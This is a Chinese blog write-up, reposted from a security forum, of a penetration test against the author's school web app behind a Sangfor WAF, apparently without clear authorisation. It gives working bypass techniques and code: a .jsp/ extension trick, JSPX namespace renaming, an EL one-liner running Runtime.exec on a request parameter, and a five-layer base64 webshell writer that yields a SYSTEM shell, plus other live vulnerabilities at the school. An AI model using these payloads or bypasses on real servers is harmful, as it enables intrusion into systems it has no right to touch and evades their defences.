0x01 前言
前几天对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折。
期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作。
0x02 获取网站接口
主界面:
上传点:
由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie
任意文件上传:
文件名强制命名为code+学号,后缀为最后一次点号出现之后的字母
0x03 后缀名绕过
代码不限制后缀名,但是waf限制呀!后缀名jsp
,jspx
会拦截,但是jspp
,jspxx
等不会拦截。
所以要利用windows特性
绕过,常规的绕过手法例如末尾加点号
、::$DATA
均无法绕过。
正斜杠
可以绕过纰漏: 查阅相关资料后发现,在后缀名绕过那里可以绕过是因为tomcat
认为.jsp/
在文件名中是非法的,Tomcat
会自动去除非法的/
号,并不是因为windows
的特性。但.jsp\
的反斜杠在本地测试时也可以正常解析去除,在目标机上却无法解析,个人感觉应该很大程度取决于所用的java库及其版本,这次算是误打误撞的成功了,以后还得多多学习,避免出现此类错误。
0x04 内容绕过
常见的jsp标记均无法绕过
JSP标记
检测,这里参考了yzddmr6
师傅的两种绕过方法。jspEL表达式绕过
jspx命名空间绕过
参考链接:
https://yzddmr6.com/posts/jsp-webshell-upload-bypass/
${Runtime.getRuntime().exec(request.getParameter("x"))}
但深信服waf过滤了一句话,需要变形绕过,鄙人太菜了,不了解相关函数的变形绕过,所以选择第二种写法。
jsp
的关键字,将原本的<jsp:scriptlet>
替换成<自定义字符:scriptlet>
,这样waf的正则匹配不到<jsp:scriptlet>
自然就会放行<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:scriptlet>
out.println(30*30);
</hi:scriptlet>
</hi>
0x05 获取网站路径
这里我们不能用相对路径来写入webshell因为Tomcat
与Apache
不同,根目录并不是以代码运行位置决定所在的目录,而是默认为Tomcat/bin
作为根目录
# 获取当前的根目录
String path = System.getProperty("user.dir");
out.println(path);
# 获取web项目所在的目录
String path = application.getRealPath("test.jsp");
out.println(path);
D:/tomcat8/webapps/declare/static/upload/test.jsp
0x06 编码或加密绕过waf写入shell
菜鸡的payload:
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:directive.page import="java.util.Base64,java.io.*"/>
<hi:scriptlet>
File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
FileWriter fileOut = new FileWriter(file);
Base64.Decoder base64 = Base64.getDecoder();
byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
try {
fileOut.write(new String(str, "utf-8"));
out.println("写入成功");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (fileOut != null) {
fileOut.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
</hi:scriptlet>
</hi>
一开始我是用两层base64编码,还是被检测了,经过fuzz发现五层编码即可绕过。
鄙人太懒了,不想重新造轮子。如果各位师傅有时间的话,遇到这种waf建议用RSA、AES等加密算法绕过。
成功getshell,System权限
看了一眼依赖,可能存在log4j2
和jackson
的RCE,留着下次当靶场继续测试
0x07 总结
深信服的waf算挺强了,而且也足够恶心,检测可疑行为直接封ip,光是fuzz就用掉了快30个ip了。
学校其他站点有thinkphp5.0.23 RCE
、泛微8.0前台sql注入
的漏洞,但都有这个waf,实在没有耐心一个个fuzz。
文章来源:先知社区(John)
原文地址:https://xz.aliyun.com/t/11337
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看多一条小鱼干